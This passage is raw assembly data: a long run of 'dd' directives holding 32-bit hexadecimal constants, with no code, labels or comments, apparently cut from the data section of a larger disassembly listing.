0E022F75Ah, 581911D9h, 9C54FBD8h, 349145F8h, 0D0724000h dd 15921BAh, 3AFF9C2Bh, 0F2B03D3Ch, 0E189CC7Ch, 54109041h dd 4AFF0BA7h, 0CC00F570h, 5AE2962Dh, 49459201h, 0BE252846h dd 4E2C81A8h, 0DF8C2115h, 0AE30DCFEh, 500F8802h, 7139995Bh dd 32898330h, 45E7AFF2h dd 236CD050h, 50D29B27h, 0E70024F3h, 72FB6233h, 15F66C4Ah dd 4D17E01h, 8DED79C5h, 0B486408h, 0EA4CC180h, 0AC4C7587h dd 13ED09A4h, 0C85EC57Dh, 38A48052h, 16216F7Bh, 0D0F50B67h dd 0EEB94A28h, 0FE287200h, 0A87A46FDh, 0C6910039h, 0AFE58C0Ah dd 0FB12D993h, 0B02594F4h, 0FC009CADh, 1DF8C7BBh, 0ECF0F064h dd 0FD13B300h, 0B75DF945h, 0D53B0261h, 0CE2FE06Ch, 1020F4E6h dd 0D31E0182h, 0AB72C3ADh, 98A020E8h, 2275544h, 0ED8C1AA3h dd 0B440570Eh, 0AC90F78Dh, 289EB880h, 0E5B34D09h, 25FCD0F6h dd 28655362h, 0E7A4253Eh, 322500B0h, 8DD41B75h, 398880BBh dd 464258FAh, 0C0F84D6Fh, 5FE21BA8h, 9541E6E3h, 42014CAEh dd 0F45D51CFh, 0A800B83Eh, 0DB5C0167h, 22A2DCEh, 657BBA7Fh dd 5C5A3A0Fh, 0C2E22F00h, 0BE7EB53Ch, 0AC90B56Dh, 8B888E20h dd 97CA25CFh, 0D2025C64h, 4E6E31C8h, 2C5070D7h, 40381951h dd 0F656245Fh, 2E2C1097h, 2AF903BBh, 0DA36AC80h, 1FB476E8h dd 9B8A5100h, 0DB78A59Ch, 2240C02Bh, 97E2A6B3h, 88C8304Fh dd 906F2726h, 0A686A421h, 6C8A10E8h, 0FBA90034h, 21E3B9ECh dd 0B12E7642h, 6A81E498h, 41DBA54Dh, 724417Fh, 0C87CEEF4h dd 2600B430h, 0F8AA9C46h, 0CBF93Ch, 776D86AEh, 0FBB20D8Ah dd 1155F8C9h, 286B1BA0h, 0B93C99BCh, 52C89FE6h, 4F8CB080h dd 900EFED7h, 0CAE85FD0h, 8721ACh, 0CD9E89C9h, 45EC5FA5h dd 8D4C5801h, 80EBA76Bh, 0DE4FB0E0h, 0CE768C11h, 325C2329h dd 2C428AC4h, 0B6DCFF00h, 0E301CFh, 6E62D174h, 7FE021CCh dd 60051B09h, 10D96Bh, 0C0935239h, 7209BE74h, 66CDA29h dd 2CE06287h, 53981Ch, 0A75A95Ch, 0CD0029FDh, 0C763A86h dd 60B25F47h, 0EDF71936h, 8F161227h, 830780Fh, 0E4F561h dd 0EECA7079h, 71E5D6B6h, 91A20100h, 31C55E2Fh, 81065A05h dd 142D8DACh, 20074A2h, 38A9131Fh, 87004807h, 1BA5B1AFh dd 5BDC6B7h, 0C51FCADCh, 0A0CC1483h, 5595E781h, 0D302D2FBh dd 3B822FE9h, 0F8D04533h, 946B3E2Fh, 1DB316C8h, 3D55018Ah dd 0D579D9A0h, 8756202Bh, 3C182A0Eh, 74D5A91Ah, 0D8B60D4h dd 6DE81BE9h, 9C5820BAh, 92FE80ACh, 4C0489ECh, 3B00F4F8h dd 73EFAA87h, 7A07A0D6h, 1F82BB05h, 0D34C1BF0h, 0D828006Eh dd 91F4643Dh, 4201CB92h, 36FDE533h, 0DE20ED21h, 79460027h dd 0FF4B4C19h, 0C9379D18h, 4E834004h, 0F018DE82h, 9BC300ABh dd 6234459h, 0C90004BBh, 0E87CB826h, 6AB97FDh, 83413E79h dd 4C033044h, 6BA62791h, 0EA39C8B6h, 0C9BC0014h, 0BD81E81h dd 7B307A8Ch, 90A86161h, 7738C74Ah, 8AB520BBh, 0A901ADE3h dd 0A10908D3h, 20834C24h, 0F8479ACh, 2156B11Bh, 779DF819h dd 0AEC900A3h, 0D86E8DD7h, 0A51852D0h, 34D14D13h, 6A9100DCh dd 6F63E25Eh, 6407A77Ch, 4C5BD2BEh, 20F6F08Ch, 3F07FE4Ah dd 0E91C4D7Fh, 0A249D632h, 99C74084h, 0BC70F8B8h, 9B6406DBh dd 9901607Ch, 0CE788174h, 10F873Ah, 846E941Fh, 90915F6Ch dd 0F338004Bh, 8892569Ch, 62400068h, 0B40BBD7Fh, 705F790h dd 0ABA67E57h, 7D82B006h, 60BFA0E9h, 642301D8h, 0EC1D2690h dd 158916Bh, 0AE8E8500h, 373440CBh, 0E735C00h, 0BC7FD23h dd 0DF7C0F9Ch, 517982BCh, 86B8E3A7h, 42E4A4FBh, 695405B0h dd 7C0049CCh, 62DF16DAh, 584FBD66h, 730192E7h, 238CFAAEh dd 585FE4ABh, 5BCF31C0h, 0CCD03Bh, 645C0552h, 0F122CD5Ah dd 34E66300h, 780AAFE1h, 7A820CC7h, 0BB39AE84h, 6867D500h dd 3BFDAAA8h, 7B3C0007h, 0FE9D1B05h, 0D8D81A94h, 3B448CB8h dd 0EB8086D1h, 0FDA9B9D7h, 2300052Ah, 45491B78h, 141A395Bh dd 0C85FDFE4h, 6F8EDC80h, 840131A7h, 22571396h, 8044F6DDh dd 3C1031C3h, 76011229h, 5AF54FF3h, 53CBF89Dh, 0A9576030h dd 3E44487Bh, 0CF7A402h, 6CC4F815h, 0E9092D2Ch, 2028AEA0h dd 44C08514h, 1AB80E67h, 86E0EA81h, 0B0784DE3h, 8A6B2107h dd 0D352CF68h, 23D8410Eh, 521324C0h, 9F3DCC83h, 549ECF00h dd 3940F167h, 28DF7101h, 0E361AF1Ah, 1F31FD8h, 0F2F8ACA5h dd 244A10FAh, 0B8F2A900h, 0DC02BA07h, 0A400A103h, 0A5AC62h dd 0ECC36DAAh, 91EDE1EBh, 0CF90663h, 6B4087BEh, 1EC6342h dd 4E565249h, 2212AC1Ah, 0F981002Ch, 0D6CDEFF3h, 0D1D0053h dd 0DCE7AAC6h, 420CAFB9h, 502A0560h, 0B5FEF3h, 7D336C5Ah dd 4C681C30h, 0F67ACC02h, 40014EDEh, 124176E4h, 789F1F9h dd 358A49B8h, 94A04139h, 0CB1F6D60h, 6858F6A8h, 0B52E8912h dd 0D8498600h, 6E21E3Ch, 18EF9D5Ch, 6031A01Ch, 0DFE8D102h dd 26A70BC4h, 93880A82h, 0AF042014h, 10009D4Ah, 96D546Ch dd 9997B07h, 1903AC15h, 56049418h, 0EB001042h, 57DB8BE4h dd 8119C0F7h, 1118FCA0h, 87452C40h, 83600063h, 962F07D0h dd 0BF14BAFBh, 1088FF3Fh, 3720629Ah, 57DF4306h, 6148CAh dd 912386F2h, 0A18C4D8Ah, 8718889Ah, 0DF61E910h, 0EC430649h dd 0E85C33DEh, 988F883Bh, 20F9056Fh, 7C93E2h, 9C7C5475h dd 7A098822h, 0A148A10Fh, 4C69D98h, 0D08B2C40h, 0C1A890EAh dd 35DDE7A8h, 40A1F17Dh, 0D29BBF44h, 29803900h, 88486531h dd 68071CD7h, 71617D7Ah, 48741756h, 0E92C4D98h, 449204Ah dd 0F84206DCh, 48668D0Fh, 44CB5711h, 99471318h, 5A2C90C9h dd 6A01D5F9h, 27A1DCE6h, 12B85180h, 4677D428h, 0DD13AA00h dd 62480479h, 22F54CF0h, 4F18F100h, 6A4D0FABh, 340EE090h dd 13F91E90h, 8E049848h, 0FA411F2Dh, 809DAB3Dh, 18F822F1h dd 0F938DA1h, 92822E3Eh, 1E73040h, 1C1D3281h, 78AC4F72h dd 0F7D91060h, 3C3B0022h, 75F96505h, 0C060D487h, 96F3B5A4h dd 0FCA0056h, 9455C674h, 0AA18101Fh, 77117387h, 29B463AEh dd 59017C82h, 0FD9598BBh, 87C607B7h, 79D10FF8h, 0C1804F10h dd 936AD162h, 0DC380D40h, 5BFA8004h, 8F782F4h, 797430h dd 0BC0545B0h, 3B098541h, 4911C260h, 26F4B275h, 60744F87h dd 8BAF76ABh, 24009776h, 654EAAECh, 17185FB7h, 4504F311h dd 4B909410h, 50108398h, 0DD0042C2h, 0EA78A880h, 0B069146Dh dd 8545187Ch, 81BB6166h, 560054B9h, 3F51620h, 5A5324A6h dd 13F21DE2h, 0A804FA97h, 5DC104E0h, 5472C779h, 4A92C000h dd 0F0F5F28Ah, 838DFB00h, 1867EAC6h, 0BB0200B0h, 2627C73Eh dd 2324F031h, 5307340Dh, 797C256Bh, 0B9D614EBh, 3680E082h dd 0A16FE3DEh, 89154E03h, 93C9EDF5h, 21B9E061h, 6E2718FDh dd 268F489Bh, 24DD49h, 0AB1966EAh, 0C072B592h, 36BD80E0h dd 26022EEBh, 256F45Ch, 2F94A298h, 0B1FE277Fh, 8FF11F67h dd 37CB9C08h, 2985BC21h, 0F4E7AC11h, 8E26ADEAh, 0ED019C54h dd 31C7E3Ch, 880011E9h, 796081BAh, 50F1959h, 3E0A00A8h dd 4B8FB723h, 1A00C011h, 0E5ABC2ECh, 0B09FCE6h, 397E83C7h dd 8BBB405h, 214063B0h, 1FC0BD4h, 0A260CB25h, 3EDAF5E0h dd 286935A0h, 9684678h, 8EFB1119h, 81DA4C01h, 212FD097h dd 0B0E7062Ch, 24082300h, 0A4FD0FFFh, 213008C4h, 393D3DE3h dd 0BCA1A470h, 9A280D40h, 89E003Ch, 0E6A72597h, 9328AE16h dd 322084F7h, 0C89D1380h, 47602005h, 0C7140748h, 8888AA5Fh dd 58728045h, 0BD4777BBh, 0FBC8B200h, 5142D344h, 8FA13010h dd 639DC579h, 8C7B007h, 952711B5h, 0FD0A0CF3h, 242830D0h dd 0EFD80088h, 89AC1D90h dd 687D6BB9h, 0A5023FF4h, 0D02CC882h, 5AA460DCh, 674A04F2h dd 0A202BECAh, 71A330A8h, 95C7ACh, 2011D936h, 0AFF82FC0h dd 889B5626h, 2922A99Dh, 13CC7A46h, 79AA008Dh, 4824B75Ah dd 7B200161h, 0BB004AE8h, 8E0BB0C9h, 0BE93738h, 614C0058h dd 4CCFBE82h, 78225846h, 0A7E6DB00h, 0C89EF529h, 395D0F82h dd 0EE39097h, 0D880C763h, 29008122h, 0B9CB2F7Ah, 17AB4406h dd 40E28525h, 93D0BBD0h, 0E703D84Dh, 12389C6h, 0F181C18Ch dd 0F256022h, 40897820h, 0C000795Eh, 0C2FBB284h, 4FE743h dd 13BB873Dh, 2276B5E1h, 0DD7D46F2h, 0D010B8DEh, 847E870Ah dd 9851283Ch, 4664AD4h, 4B58BCh, 0D6CFF2DBh, 53E005Dh dd 0FA32367Fh, 0E20079EAh, 91825093h, 0A8AB601Eh, 0A8A5A898h dd 56AC8h, 0B9B211A6h, 0C8898108h, 8F583858h, 116F29A0h dd 0F1452DCh, 88F23FF0h, 6CB81440h, 839C3E0Ch, 12253170h dd 0C1EA4h, 2DAB7B9Bh, 0B1C05560h, 0A9AAEEDDh, 0B41D006Fh dd 0F796955Dh, 1B00C175h, 0E66D26ADh, 2B9F448h, 3107E7ABh dd 14604B4Eh, 0F0CB32Ah, 69492457h, 6A155840h, 9C4C700h dd 9835E24Bh, 8065CA00h, 7FBB6137h, 0C9201DA7h, 25F9402Ch dd 84CB2A0Ch, 70724E00h, 0B9977901h, 33A77CCh, 6BF7BCCAh dd 0B814C4Bh, 0D7FFCADh, 4BB88A8h, 878B9702h, 0A0F6CA9Ch dd 0F4F1D8F0h, 7FFF3C95h, 9F372D0Fh, 6ECD40FFh, 99C6315Fh dd 13FCE500h, 26CFACA3h, 71833127h, 0C0EC07C1h, 5400E98Ah dd 0FC373C9Fh, 4DA5268Dh, 7700B41Fh, 4471C5A8h, 0F5CAA58h dd 0B62481BCh, 5330485Ch, 9431039Bh, 1490DF53h, 0B7F01E09h dd 603C8202h, 58BCA06Ch, 38F436h, 0F931E390h, 7609453Eh dd 0B715071Dh, 12C68289h, 9148E8B0h, 871899B6h, 0C37D7B96h dd 4EC8E65Fh, 942C6B29h, 0CC265FD6h, 37A74382h, 2CD4E64Bh dd 0E3C2B33h, 0E583F477h, 10AA53A1h, 650078E4h, 756D4583h dd 26FBA36Bh, 60ECB9DDh, 0D1A4C614h, 175B482Eh, 9F5D000h dd 0EE37E618h, 91440123h, 1A9BB619h, 0C270716Ch, 3E2AE02Fh dd 19BB4F43h, 28888561h, 0A5F040CFh, 0B4918056h, 92CAAC83h dd 5A12A22Dh, 68951C28h, 761A430Eh, 2890D3Bh, 27B67069h dd 9C02BEFCh, 4DE114DFh, 118798Ch, 1A827FE7h, 9DA44029h dd 51C3F1F7h, 18368C4Eh, 0E17B8329h, 0E800A4C2h, 0D5959947h dd 1D93302h, 0FFBE72D0h, 20C719E1h, 0F006E8B8h, 7ED88659h dd 39CA0939h, 0D0802506h, 744A941Fh, 7AE9D602h, 46265605h dd 31FE1F90h, 904F1814h, 0DF8904CBh, 1D8D9CC0h, 5CAC2339h dd 0E36C2461h, 0F8927824h, 0B49068C4h, 0C4376C02h, 0E8607DF6h dd 6EFF88h, 3C27ABF4h, 7D796E5h, 24DBD625h, 0C05F4C38h dd 0C1F5D335h, 9F008850h, 42B8D7C7h, 1425EA5Bh, 0CC608D75h dd 0DB1C300Fh, 1122D640h, 460B4D89h, 2D7E88Ch, 48ED5DF2h dd 199E48Ch, 9C13F388h, 28D79F77h, 7F558394h, 906CB809h dd 0CE053EA8h, 0F5227D00h, 0A168C145h, 0F093C004h, 0A8C8950Fh dd 58FE7837h, 6085488Dh, 9EEC5E6Ah, 5FB200A6h, 6D81610Fh dd 521DE400h, 4E4F8864h, 0C2949EE9h, 98089C56h, 0B7366400h dd 2E4F3272h, 607028E9h, 3B92EDD7h, 4CA9E03Ch, 951300ADh dd 62B34C63h, 7DC57855h, 1AAE0481h, 0C0370A31h, 0D6674D6Ch dd 0F8070A90h, 0C4F12093h, 0B080F304h, 4BE940Ch, 7B825230h dd 61D100FFh, 0FECC4Eh, 0D5EE44B5h, 5E1F7337h, 436A4D0Fh dd 975A04ECh, 0AE9EDC80h, 0DF5F804Ah, 71F49100h, 7419B6D5h dd 0F1D603F6h, 0C5C6B18Bh, 8CF93804h, 74802A76h, 1E624093h dd 2E2919EAh, 8A4EE254h, 9403885Ah, 195A1638h, 0E063DB20h dd 722CFh, 0A0F6F9AEh, 95529A43h, 0CD45EA0Bh, 9E944953h dd 0E32C9110h, 0C103CCF0h, 0D9C043DBh, 579AB8BAh, 548D4C4Eh dd 0A2C59D85h, 1D9421E8h, 4070A4E7h, 0C73F7780h, 5641A094h dd 407272CBh, 0BB03447Dh, 0ECEFA929h, 0B01D29BAh, 14D01413h dd 87988Ah, 0A75F60F5h, 8295D975h, 0BC0F2E4Ah, 52BF2035h dd 6E3A16h, 0C7CC6D0Ch, 3E4858F5h, 1975500h, 0FE4418B1h dd 0C4267E6Bh, 0E27F46A9h, 14A90120h, 749F3A5Dh, 9C132830h dd 0F7CB886Ch, 6F003497h, 9173F28Ah, 0B5700026h, 68024213h dd 7F04EA93h, 847AF40Fh, 3556E088h, 7D147A9h, 0C8512504h dd 3BDF2F05h, 7E204000h, 0A4834DF4h, 30A2A2E8h, 8479248Ch dd 11CE320h, 0B48617F3h, 70AF3912h, 4E0EEF4Eh, 2268612Eh dd 44ADFE4Ah, 3F5100DCh, 0A0E55FF1h, 700CAABh, 0D2184D70h dd 75B659Fh, 0AFD6946h, 0F8F9108Bh, 9375EF97h, 4E24D890h dd 0E449148Eh, 8F670328h, 74BC9B78h, 3BFDA798h, 0A8B8CF72h dd 0FE9D2004h, 148808D2h, 8BAC8831h, 9AAE7218h, 0F23DE851h dd 21F2C3h, 0E5A53127h, 0F5C456F7h, 7E794400h, 3EC281E8h dd 78F03990h, 7B0AD19Ch, 86B41A80h, 70B07DFAh, 81F1090Fh dd 21F00048h, 0C4156Fh, 55B8510Ah, 666EB4Eh, 8B839938h dd 0F534222Fh, 386F6386h, 791B8400h, 2CECAAA1h, 0CD860328h dd 6D8E76B1h, 0A20A2002h, 61B399CEh, 186AB60Eh, 0F76A11D6h dd 21491561h, 8B08166h, 127BB510h, 80724C00h, 0A16AE70Fh dd 22E2C08Dh, 78796C3Dh, 0CF00E0FEh, 887E9214h, 751FD6Ah dd 520448E2h, 0BA1E81D1h, 62E5F46Bh, 5AE30905h, 0DB0170F8h dd 0ED89A748h, 40F4C0E5h, 0FC630E0h, 623821B1h, 88230E30h dd 60ED90D1h, 0A74E9903h, 0D20CDFF5h, 316E12C6h, 0D0D70ECFh dd 2918E590h, 0D800F769h, 0A69F89B0h, 1DA907CDh, 2808AF5Ah dd 290163C5h, 697873FAh, 0AEC72508h, 0D47000EFh, 79617B2Dh dd 5112FA0Ah, 7F838CC5h, 0F092A115h, 0EAE9CF8Eh, 0F2100AD3h dd 30AC69ADh, 9D04EC40h, 27E3810Fh, 54F4F8h, 0CD236E2h dd 3FD47489h, 0F78E6F91h, 0FC74EE0Dh, 817A6619h, 480CF509h dd 77004B88h, 0ACE68DA4h, 7AE49Bh, 7857D219h, 0A5BF7FC7h dd 8488F803h, 0D875774Ch, 0C4FEF281h, 40928550h, 0C3E90EB5h dd 3038785Bh, 6D19FE50h, 4719573h, 699A2214h, 2E71090h dd 917D8Fh, 3FC9F06Ah, 50B3E191h, 0C28A10EFh, 0F6E890A9h dd 0D1696048h, 4767B18h, 37FF849h, 72255414h, 0D918634Eh dd 5F31FB4Ch, 50891891h, 0A52CD237h, 4A165E00h, 6620AE7Eh dd 9E4C9182h, 38F898F2h, 41C0F94Ch, 0EF6D1A61h, 1DC800ADh dd 5F271CEAh, 2F003F34h, 72E243C4h, 0E8FB201Ah, 0CCD1D455h dd 19BE7703h, 61B65086h, 74D928C0h, 75E2B18h, 0A9CC450Fh dd 3AC6E0C8h, 6A0C813Bh, 31C38567h, 8090545Ah, 2FD7070Bh dd 0B05B95E5h, 99730FE9h, 0B12DBB01h, 807661A7h, 1551C8F7h dd 5DBD00FEh, 35B90B81h, 0C760509Dh, 314E1951h, 0C90C0024h dd 1F9F8748h, 0CF027DA8h, 0D10D8627h, 752844F2h, 360F1CEDh dd 0EB5C86FEh, 0C0011961h, 0D1145951h, 64D0D0BBh, 0C0E7825h dd 8DBD8941h, 0A1010CB1h, 4367005h, 830A86Eh, 13B4A478h dd 329BF2AAh, 0D120FC0Ch, 7AD8AB14h, 526779CFh, 892284F0h dd 2700D17Dh, 7CCD71Dh, 0C064F2D2h, 5EDF8449h, 2607C115h dd 9C53F3DDh, 0B0CDC460h, 4C1D00C6h, 45DA769h, 149170B2h dd 0F9846685h, 1740401Ch, 4AF870E4h, 0B8D26210h, 0E32FFD82h dd 0A16B1D25h, 7630B7A1h, 0C1E22491h, 0DE698F58h, 0CB2CAA41h dd 62BD8D9h, 85CD6112h, 89C19C28h, 541301AEh, 48004106h dd 37836A90h, 27CB528h dd 817945E8h, 1C607E64h, 48A044EDh, 685007F8h, 0F2428364h dd 0E36A1Eh, 3604341h, 80990EF8h, 0CF76B480h, 0EECD770h dd 0A0024E4Ah, 1051F400h, 6D012198h, 8DDCE971h, 18802301h dd 0B9BBC707h, 170719F0h, 0A72EA911h, 88D0D3D3h, 6406C6A6h dd 0C0126170h, 0A7D42022h, 80146858h, 6BCB786h, 4205072Ah dd 10B99FE6h, 0FE45829Eh, 3400F4A4h, 0CCF655E3h, 0C947FDh dd 9DC12F2Ah, 145AEADh, 1AC6F80h, 0B7C85E98h, 8074F3AAh dd 0A6F0E4A8h, 203991h, 0BCBA34Bh, 3F0C3EB6h, 5126BA01h dd 80A9F10Ah, 7231E0h, 578A8BE3h, 0B3BAE5A1h, 0E2D08200h dd 39ADE970h, 0B9936159h, 0E018E4B4h, 867C9897h, 0B7F90703h dd 0E00F794Bh, 483565F3h, 1009C6Dh, 0CF20A7FFh, 67004F77h dd 7A2FC9E2h, 278D916h, 0C0FA5DDFh, 0C4C44687h, 7ECBFE00h dd 7F435C57h, 99230049h, 0F1B2D3D1h, 8906C69h, 2BDAE200h dd 0B5D4EA7Bh, 0F4ED1278h, 74002045h, 824863F5h, 712C0E0Ch dd 0D7D087CCh, 8EF2111h, 2E34430h, 7073D231h, 0D121C650h dd 2EE474EAh, 4CA90097h, 3177B278h, 0C4EC20F5h, 20E258h dd 71B6A80Dh, 787C11Ah, 46A677CDh, 6915A0ADh, 503E48EDh dd 787D30E6h, 155E7112h, 0D405A2A3h, 20BE7813h, 25F40808h dd 4583150Ah, 0BC8080FCh, 0A4811816h, 807E4Dh, 0D5507210h dd 7A917563h, 89490663h, 3D68D659h, 0FA802345h, 4D1822FEh dd 6BF62A61h, 0BDEF7100h, 0EE3BE2E7h, 601B0243h, 1A0E19A8h dd 31160CC1h, 0E8F6F548h, 990C712Eh, 89E7457Eh, 0C0270002h dd 0B18DE0DCh, 484A932Ch, 0AD003FA8h, 0FCA6D5FEh, 4B521F3Fh dd 8F2050BCh, 9A73E00Eh, 0EB0C1E6Dh, 3917118Eh, 0A8FC7A55h dd 6162369Ch, 5A0C5269h, 8B88503Ch, 370078FAh, 0CCB4CDE2h dd 38CF27h, 2BBB9EC4h, 5068A448h, 2609A1C0h, 1F915269h dd 9985C81h, 0B8072B7Ah, 0E84593AEh, 6A5F2900h, 52C04E95h dd 0CE30FF26h, 68A2010Fh, 0AC15B398h, 7BE2F055h, 0C30F126h dd 4008026h, 7912A8E1h, 391C2EA7h, 6080AC70h, 0AD22EE2h dd 0BBBF800h, 7DF9BCCFh, 58F892B8h, 28007419h, 0F81AB98Fh dd 85DE506h, 52603C9Ch, 0E4C00098h, 7BB97183h, 0F3EC00F5h dd 6025E263h, 0F72C6AAFh, 0C14030A1h, 174DBA77h, 2058D7DFh dd 32E1CC00h, 3C1F7C00h, 0A669C1B5h, 88C9821Bh, 0E344600Ah dd 1ABE950Ah, 807B617h, 6A709AC5h, 1ACE3D60h, 518876B1h dd 2E1FDE40h, 0F7B9BD0Fh, 0AEA203B6h, 69100E2Ch, 0B01EF2D0h dd 2E4D3D60h, 9F713500h, 5D166FEAh, 0F6AC3B88h, 8FB4B626h dd 21709229h, 3371606h, 596F214h, 0B478112Eh, 261CB1B0h dd 0F4811055h, 2DA20719h, 52035F08h, 20C601h, 0FD7621C9h dd 0F1737E0Ah, 0FCE0F001h, 0D0848AF8h, 8FC443h, 41ED6771h dd 4FCF5498h, 8300C0B9h, 8A66E0DAh, 0D7CD1681h, 4AAC05D0h dd 1C5480BFh, 0B97C33B7h, 0CF52E005h, 903072F9h, 702AA47h dd 766A196Fh, 0DA90C3C2h, 87714FE0h, 50BB2332h, 0E066B5h dd 683CE9C8h, 9D781680h, 0C3E16301h, 90EFCD7Fh, 5410A5D9h dd 74B82EF5h, 8C209524h, 0E45BC4BAh, 24BF02E9h, 1170429Fh dd 2FF44160h, 23F230C9h, 8565AA08h, 623FB8C1h, 59A07F10h dd 0E4499260h, 0BB4787h, 0C1B92DAFh, 0E2FB661Bh, 923F3E03h dd 0D80C8368h, 7D307C6h, 7FF9C209h, 41A08080h, 9D001902h dd 7E10B8C4h, 0E60AF6FCh, 158A3BD8h, 6AF9DF87h, 0AFDE607Dh dd 0B007B45h, 0BE7F0ABAh, 594AA3h, 8F9C168h, 2BB69DBh dd 3B335703h, 3C0B07F7h, 26008940h, 0C427CE40h, 0C1014879h dd 98817F74h, 0EDF419F9h, 0E47E00EEh, 0D9500884h, 0D10F9B0Dh dd 23FB4785h, 3F3FCh, 0E6450A88h, 0FBAA1F2h, 0FB1BAF00h dd 1194E47Fh, 0DDA0104h, 8C77D19Dh, 0F3308CFEh, 0FC3948h dd 674BF24Ah, 39622D3Eh, 99BD1207h, 4347DFB3h, 870C59D2h dd 9043088Ch, 9C393A55h, 4CF4388Ch, 0D5039411h, 0F85FBD3h dd 8F7EA8CBh, 0C5070701h, 30CD8905h, 3BF2D974h, 2530DC63h dd 578100F4h, 0A70331E6h, 0A600E945h, 0EC71694Eh, 19CE779h dd 0A260BBA5h, 5003514Ah, 0FB970A9Ch, 0B0F179C0h, 1E93B63Bh dd 8C0565h, 0FFE4D235h, 0A130EFDEh, 3DFC7124h, 68410040h dd 0BD460E9Dh, 183B20ABh, 970C8635h, 3028E4EFh, 0DF31564Bh dd 0B7285DF1h, 4F02E431h, 2D7375Eh, 250140D4h, 48AF00E9h dd 13581F5Fh, 8CFCFDBDh, 0ACCCED50h, 4FDFB70Ah, 3200D8A6h dd 0AD287D23h, 0C19F058Ch, 20B459D8h, 0A338DEC0h, 7D469B00h dd 0E3CC10CBh, 187FE894h, 50FA5C61h, 5D5349F7h, 942180h dd 12415AF8h, 0F7606C80h, 0B78E0750h, 9D93897h, 0F21C4BAAh dd 307D0067h, 0AE9D3D4Ch, 60091E7Fh, 2217465Fh, 9001F368h dd 1F7AE8h, 0A7D7430Bh, 80DBE68Ch, 5760060Fh, 0A1F1E554h dd 0CAAF9000h, 17BAC8h, 0F9A43ED0h, 7C25F524h, 93111D01h dd 1E61A512h, 1B906180h, 94515DC0h, 65E44E7Dh, 9D0014B8h dd 0F07BC477h, 52BECFEh, 0C07F978h, 5EF4308Dh, 9801EE39h dd 0F534232Eh, 8503DAAh, 9161A225h, 45AB00CCh, 1C06A8AAh dd 0DAEEE902h, 0A0FA78C1h, 601F20ECh, 370E0055h, 6AF71C7Fh dd 9C4847A2h, 0EB5F00F8h, 0DC5FEE8h, 0AE0B0C34h, 0C11E930h dd 18A6133Dh, 25994795h, 0D8E4ABD7h, 4320E5Eh, 0E80744B2h dd 0FA7783CEh, 2F30818h, 0E46AB31h, 23B5BB9Bh, 3BEDB4C0h dd 4C508A0Bh, 0EA88D228h, 0BF3D0077h, 70657686h, 6F00D766h dd 0B8C6E01Dh, 5C0922h, 39E4E9CBh, 0F35F02EAh, 81840A00h dd 0BC5695FBh, 0FED60076h, 0CF8FF207h, 1B0203A3h, 87800A02h dd 9C10486Fh, 695D0456h, 807C2D7Dh, 123A5B0Ch, 986B812Ah dd 1B627F15h, 0E5BA00ACh, 7CCB0538h, 0CF390090h, 5686B84Eh dd 6300D31Ch, 879DB669h, 0F81A9CA2h, 0F05D04E7h, 88254A03h dd 0EAB8B2C4h, 43EFBA00h, 0E4D12B68h, 2EA4392Fh, 260E7875h dd 36E198Ch, 0F42A5508h, 8086AEA1h, 366947AEh, 626D03h dd 43C6CD07h, 295F788Bh, 0E009B628h, 0A8580F73h, 0A98E0C97h dd 3CC84056h, 0C780E411h, 0CAC6B3D7h, 93017F77h, 1301DD33h dd 7087DEBFh, 40EC56AEh, 24DB787Eh, 99F410C0h, 0C0D1B192h dd 2C83F114h, 0D6FEBD60h, 14279C1Dh, 52C3E8DDh, 68F670h dd 182C3570h, 0C355CC69h, 15BE670Fh, 496F20E5h, 186D9352h dd 61627727h, 59603719h, 93804BE9h, 42D0040h, 737CCE13h dd 0A8E41F01h, 0DB06CDF0h, 0C82919B4h, 0B54F0431h, 73B4893h dd 946FFF2h, 0ECAA0058h, 5DDC8F7Ah, 0D417FA32h, 280043D9h dd 0DB7EC102h, 0F14205ABh, 59B49604h, 0F8AA7094h, 0A53A65CDh dd 0A6550002h, 0F6267FD3h, 54285419h, 11A0A67Eh, 2FCFECEh dd 2423FDB1h, 0D771C0C6h, 0F70D03DDh, 0BEE0179Dh, 0E7B421BDh dd 0DA99D366h, 13C8101Dh, 0C14E0EA3h, 720FAAFh, 0E77B694Dh dd 0F8192C18h, 0A4EF7339h, 643705ECh, 3346D18h, 0E7AF04B8h dd 86B59299h, 0F2D6BF21h, 67540139h, 93FD1828h, 0AB785084h dd 79192DAAh, 0EF8904DBh, 728848h, 60A87DE7h, 1245A4FAh dd 0E677E101h, 0EFF62F07h, 0D92C3441h, 13886DECh, 11FFC38h dd 6A86D15Bh, 0D998535Ch, 34371388h, 183AB1DFh, 0DE41B1F0h dd 29D13F92h, 88A2FA00h, 0B484E941h, 0D7DFF705h, 245E6886h dd 8C444460h, 2913A781h, 4167CE0h, 1470B948h, 9FD0B624h dd 100009D0h, 0D8717D7Ch dd 8200A032h, 8F78B793h, 21C4A1h, 96927981h, 1732AB0Fh dd 384D8524h, 0E1155A11h, 5301DCEBh, 4B0B6368h, 455630EDh dd 89BAEF30h, 5C18CBh, 0A31AE4ECh, 5339D2E6h, 8642D800h dd 0F2949F2Ah, 0CCDF1C9Bh, 0BF49034Eh, 0A1751DDBh, 5AC42354h dd 0A997961Fh, 12BC6381h, 25E0B198h, 0D50F0023h, 830AB755h dd 10EBF007h, 0A4F9E1BFh, 7C8810F8h, 0AD22BBh, 0B538DFCDh dd 0FF524E80h, 3016A18h, 2CF4C79h, 591CBF46h, 0E2405C74h dd 0F818FBB3h, 67CEE50Ah, 7FE224A1h, 0BF034100h, 5C84C2DAh dd 653A4210h, 32A6C0DFh, 0C45C1891h, 0A98F18D3h, 1660DBFCh dd 49422829h, 1F3BE2B8h, 8033EBEAh, 84E7FCB0h, 0E1006618h dd 8EBADFFAh, 1208E37Dh, 241C2BB5h, 86244084h, 0B37C9BB9h dd 0ADEFD400h, 2587EAE0h, 28490013h, 6CFAE2E5h, 0CF0009AEh dd 6F880CD7h, 788C2361h, 0C6B607CDh, 0C035C796h, 4218D34Fh dd 0DED92000h, 330F2C8Dh, 765B0190h, 58AB46F3h, 6104304Ah dd 8756E08Bh, 947D00A6h, 4377CC68h, 5860363Fh, 0ED17AD20h dd 6FC203B6h, 26327254h, 5D94EE98h, 0CBD18201h, 0B21387DFh dd 1FF3030h, 8FF7042Ah, 0C3A93A81h, 4607E100h, 63D6F073h dd 5779C064h, 709D09B3h, 2C194B15h, 0F8791348h, 2473F447h dd 0B699FD71h, 7618F822h, 52E88853h, 61388F0Bh, 0E0180E01h dd 6E88C3F4h, 0AA543173h, 80665531h, 0ED3FB359h, 72A63A8h dd 0C12F3592h, 251F4047h, 3A14DA0Ah, 42F09E18h, 0E0CE0020h dd 0BC9067B2h, 0ABF10703h, 0C08E5243h, 0A9511B85h, 